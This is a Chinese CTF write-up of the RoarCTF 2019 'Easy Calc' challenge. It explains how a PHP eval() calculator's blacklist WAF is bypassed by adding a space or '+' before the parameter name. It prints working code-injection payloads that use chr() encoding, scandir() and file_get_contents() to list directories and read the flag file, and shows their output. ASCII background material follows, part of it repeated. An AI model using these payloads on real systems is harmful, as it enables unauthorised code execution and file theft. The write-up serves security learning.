【BUUCTF】 [RoarCTF 2019]Easy Calc
一. 题目
网页源码
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${
data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
calc.php?num=encodeURIComponent($("#content").val())
$("#content").val()
获取id为content的HTML标签元素的值,是JQuery
$("#content")
同document.getElementById(“content”);
$("#content").val()
同document.getElementById(“content”).value;
访问calc.php的源码,显示了waf的过滤规则
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
http://node3.buuoj.cn:27447/calc.php? num=phpinfo();
禁用函数了system()
calc.php? num=system(chr(34).chr(108).chr(115).chr(34))
二. 利用php和waf对于请求参数解析的差异达到绕过
1.scandir("/")函数读取目录,/ 被过滤所以换为chr(47)绕过,
查看目录,找flag
calc.php? num=1;var_dump(scandir(chr(47)))
1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }
读取f1agg文件
calc.php? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
1array(1) { [0]=> string(43) "flag{d7237702-d691-465b-825e-14f50e5ea684} " }
(1).同1,但空格换为+
calc.php?+num=1;var_dump(scandir(chr(47)))
1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }
calc.php?+num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
1array(1) { [0]=> string(43) "flag{d7237702-d691-465b-825e-14f50e5ea684} " }
(2).这里的chr(47)也可以换为hex2bin(dechex(47))
dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。
calc.php?+num=1;var_dump(scandir(hex2bin(dechex(47))))
1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }
(3).file_get_contents
calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
1string(43) "flag{d7237702-d691-465b-825e-14f50e5ea684} "
2.http走私绕过WAF
三. 基础知识
1.利用PHP的字符串解析特性Bypass
利用PHP的字符串解析特性Bypass
php从请求的url中取出参数并保存之前,1.删除空白符号 2.将一些特殊字符(包括空格)转换为下划线_
php解析时,如果变量前面有空格,会去掉前面的空格再解析,PHP解析时 'num'=' num'='+num'
,认为是同一个变量,但是waf只认’num’而’ num’和’+num’都不在范围内,这样就能绕过waf。
2. PHP 函数
部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数。
部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数来实现。
var_dump() 将变量以字符串形式输出,替代print和echo
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;')
scandir() 函数返回指定目录中的文件和目录的数组。
chr() 函数从指定的 ASCII 值返回字符。
ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,而十六进制值被定义为带前置 0x。
<?php
echo chr(61) . "<br>"; // 十进制
echo chr(061) . "<br>"; // 八进制值
echo chr(0x61) . "<br>"; // 十六进制值
?>
playload中,chr().chr().chr(),里面的. 即“点号”
“点号”是一个字符串连接符,即并置运算符,用来拼接字符串。
“逗号”不是连接符,是分隔符,在使用 echo 输出一系列的变量、字符串、数字等内容时,用“逗号”分割开。
<?php
echo "hello"."world"; //. 连接两个字符串
echo "<br/>";
echo 'a' . 'b'. 'c'; //是将三个字符串拼接之后输出
echo "<br/>";
echo 'a', 'b', 'c'; //是依次输出三个字符串
echo "<br/>";
?>
helloworld
abc
abc
简单的查看方法:
打开记事本,如要查看“Chr(“119”) ”,可以按下Alt不放,输入数字119,再放开Alt,显示结果为w
Python 转换查看
print(ord('a'))
print(chr(97))
#encoding=utf-8
#py3+
# 用户输入字符
c = input("请输入一个字符: ")
# 用户输入ASCII码,并将输入的数字转为整型
a = int(input("请输入一个ASCII码: "))
print(c + " 的ASCII 码为", ord(c))
print(a, " 对应的字符为", chr(a))
#encoding=utf-8
#无提示输入字符串,获取每个字符的ascii码
a = input()
for i in range(len(a)):
print("ascii of " + a[i] + " is: " + ascii(ord(a[i])))
Aa‘“
ascii of A is: 65
ascii of a is: 97
ascii of ‘ is: 8216
ascii of “ is: 8220
#encoding=utf-8
c = input("Please input a char: ")
a = int(input("Please input a ascii:"))
while True:
if a < 0:
print("ascii is wrong, Plese try again")
a = int(input("Please input a ascii:"))
elif a > 1000:
print("ascii is wrong, Plese try again")
a = int(input("Please input a ascii:"))
else:
break
print(" this is a ascii test")
print("assic is:",ord(c))
print(" char is:", chr(a))
2 10 16 图形
0010 0000 32 20 (空格)(␠)
0010 0001 33 21 !
0010 0010 34 22 "
0010 0011 35 23 #
0010 0100 36 24 $
0010 0101 37 25 %
0010 0110 38 26 &
0010 0111 39 27 '
0010 1000 40 28 (
0010 1001 41 29 )
0010 1010 42 2A *
0010 1011 43 2B +
0010 1100 44 2C ,
0010 1101 45 2D -
0010 1110 46 2E .
0010 1111 47 2F /
0011 0000 48 30 0
0011 0001 49 31 1
0011 0010 50 32 2
0011 0011 51 33 3
0011 0100 52 34 4
0011 0101 53 35 5
0011 0110 54 36 6
0011 0111 55 37 7
0011 1000 56 38 8
0011 1001 57 39 9
0011 1010 58 3A :
0011 1011 59 3B ;
0011 1100 60 3C <
0011 1101 61 3D =
0011 1110 62 3E >
0011 1111 63 3F ?
0100 0000 64 40 @
0100 0001 65 41 A
0100 0010 66 42 B
0100 0011 67 43 C
0100 0100 68 44 D
0100 0101 69 45 E
0100 0110 70 46 F
0100 0111 71 47 G
0100 1000 72 48 H
0100 1001 73 49 I
0100 1010 74 4A J
0100 1011 75 4B K
0100 1100 76 4C L
0100 1101 77 4D M
0100 1110 78 4E N
0100 1111 79 4F O
0101 0000 80 50 P
0101 0001 81 51 Q
0101 0010 82 52 R
0101 0011 83 53 S
0101 0100 84 54 T
0101 0101 85 55 U
0101 0110 86 56 V
0101 0111 87 57 W
0101 1000 88 58 X
0101 1001 89 59 Y
0101 1010 90 5A Z
0101 1011 91 5B [
0101 1100 92 5C \
0101 1101 93 5D ]
0101 1110 94 5E ^
0101 1111 95 5F _
0110 0000 96 60 `
0110 0001 97 61 a
0110 0010 98 62 b
0110 0011 99 63 c
0100 0000 64 40 @
0100 0001 65 41 A
0100 0010 66 42 B
0100 0011 67 43 C
0100 0100 68 44 D
0100 0101 69 45 E
0100 0110 70 46 F
0100 0111 71 47 G
0100 1000 72 48 H
0100 1001 73 49 I
0100 1010 74 4A J
0100 1011 75 4B K
0100 1100 76 4C L
0100 1101 77 4D M
0100 1110 78 4E N
0100 1111 79 4F O
0101 0000 80 50 P
0101 0001 81 51 Q
0101 0010 82 52 R
0101 0011 83 53 S
0101 0100 84 54 T
0101 0101 85 55 U
0101 0110 86 56 V
0101 0111 87 57 W
0101 1000 88 58 X
0101 1001 89 59 Y
0101 1010 90 5A Z
0101 1011 91 5B [
0101 1100 92 5C \
0101 1101 93 5D ]
0101 1110 94 5E ^
0101 1111 95 5F _
0110 0000 96 60 `
0110 0001 97 61 a
0110 0010 98 62 b
0110 0011 99 63 c
0110 0000 96 60 `
0110 0001 97 61 a
0110 0010 98 62 b
0110 0011 99 63 c
0110 0100 100 64 d
0110 0101 101 65 e
0110 0110 102 66 f
0110 0111 103 67 g
0110 1000 104 68 h
0110 1001 105 69 i
0110 1010 106 6A j
0110 1011 107 6B k
0110 1100 108 6C l
0110 1101 109 6D m
0110 1110 110 6E n
0110 1111 111 6F o
0111 0000 112 70 p
0111 0001 113 71 q
0111 0010 114 72 r
0111 0011 115 73 s
0111 0100 116 74 t
0111 0101 117 75 u
0111 0110 118 76 v
0111 0111 119 77 w
0111 1000 120 78 x
0111 1001 121 79 y
0111 1010 122 7A z
0111 1011 123 7B {
0111 1100 124 7C |
0111 1101 125 7D }
0111 1110 126 7E ~
0111 1111 127 7F DEL 删除
https://www.litefeel.com/tools/ascii.php